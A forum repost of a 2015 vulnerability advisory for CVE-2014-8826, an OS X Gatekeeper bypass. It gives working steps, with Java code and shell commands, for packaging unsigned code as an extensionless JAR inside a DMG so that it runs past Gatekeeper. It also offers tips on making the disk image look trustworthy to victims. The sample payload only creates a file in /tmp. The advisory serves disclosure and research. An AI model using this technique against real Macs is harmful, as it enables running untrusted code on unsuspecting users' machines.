Aerosol Posted January 30, 2015 Report Posted January 30, 2015 # Exploit Title: OS X Gatekeeper bypass Vulnerability# Date: 01-27-2015# Exploit Author: Amplia Security Research# Vendor Homepage: www.apple.com# Version: OS X Lion, OS X Mountain Lion, OS X Mavericks, OS X Yosemite# Tested on: OS X Lion, OS X Mountain Lion, OS X Mavericks, OS X Yosemite# CVE : CVE-2014-8826Advisory URL :http://www.ampliasecurity.com/advisories/os-x-gatekeeper-bypass-vulnerability.htmlGatekeeper is a feature available in OS X Lion v10.7.5 and laterversions of OS X.Gatekeeper performs checks on files and applications downloaded from theInternet to prevent execution of supposedly malicious anduntrusted/unsigned code.Gatekeeper provides three different settings:- Mac App Store (Only apps that came from the Mac App Store can open)- Mac App Store and identified developers (Only apps that came from theMac App Store and identified developers using Gatekeeper can open)- AnywhereThe default setting is "Mac App Store and identified developers".This setting prevents execution of any code that was not downloaded fromthe Mac App Store and that was not digitally signed by a Developer IDregistered with Apple.For example, If the user downloads an application from an untrustedsource and double-clicks on the application to execute it, OS XGatekeeper will prevent its execution with the following warning message:"<AppName> can't be opened because it is from an unidentified developer."(For more information on OS X Gatekeeper, seehttp://support.apple.com/kb/ht5290)We found an attacker can bypass OS X Gatekeeper protections and executeunsigned malicious code downloaded by the user, even if OS X Gatekeeperis configured to only allow execution of applications downloaded fromthe Mac App Store (the highest security setting).The exploitation technique is trivial and requires Java to be installedon the victim's machine.OS X Gatekeeper prevents execution of downloaded Java Jar (.jar) andclass (.class) files, but this verification can be bypassed.For example:- Create a JAR file containing the code to be executedFor example,File AmpliaTest.java:public class AmpliaTest { public static void main(String[] args) { try { Runtime.getRuntime().exec("/usr/bin/touch /tmp/AMPLIASECURITY");} catch(Exception e) { } }}(This is just an example, of course, arbitrary code can be executed)$ javac AmpliaTest.javaBe sure to compile the code for a version of Java lower than or equal tothe one available on the target (for example, javac -target 1.6 -source1.6 AmpliaTest.java; and the compiled code will work on Java versions >=1.6) .$ echo "main-class: AmpliaTest" > Manifest$ jar cmf Manifest UnsignedCode.jar AmpliaTest.class- Create a .DMG disk imageFor example:$ hdiutil create -size 5m -fs HFS+ -volname AmpliaSecurity AmpliaTest.dmg- Mount AmpliaTest.dmg- Rename UnsignedCode.jar to UnsignedCode (just remove the extension)- Copy UnsignedCode to the AmpliaSecurity volume- Unmount AmpliaTest.dmg- Host the file AmpliaTest.dmg on a web server- Download AmpliaTest.dmg using Safari and open it- Double-Click on 'UnsignedCode' and the code will be executed bypassingOS X Gatekeeper checks (the code creates the file /tmp/AMPLIASECURITY).(Perform the same steps but without removing the .jar extension toUnsignedCode.jar and OS X Gatekeeper will prevent execution of the Jar file)Because the file 'UnsignedCode' has no extension, Finder will display ablank page icon; the Java/JAR icon will not be displayed. The user doesnot know he is double-clicking on a JAR file and the file does not lookparticularly suspicious. Also, since the unsigned code is distributedinside a disk image (.DMG) file, there are many things the attacker cando to gain the trust of the user (include other files, use Finderbackground images, etc).Source Quote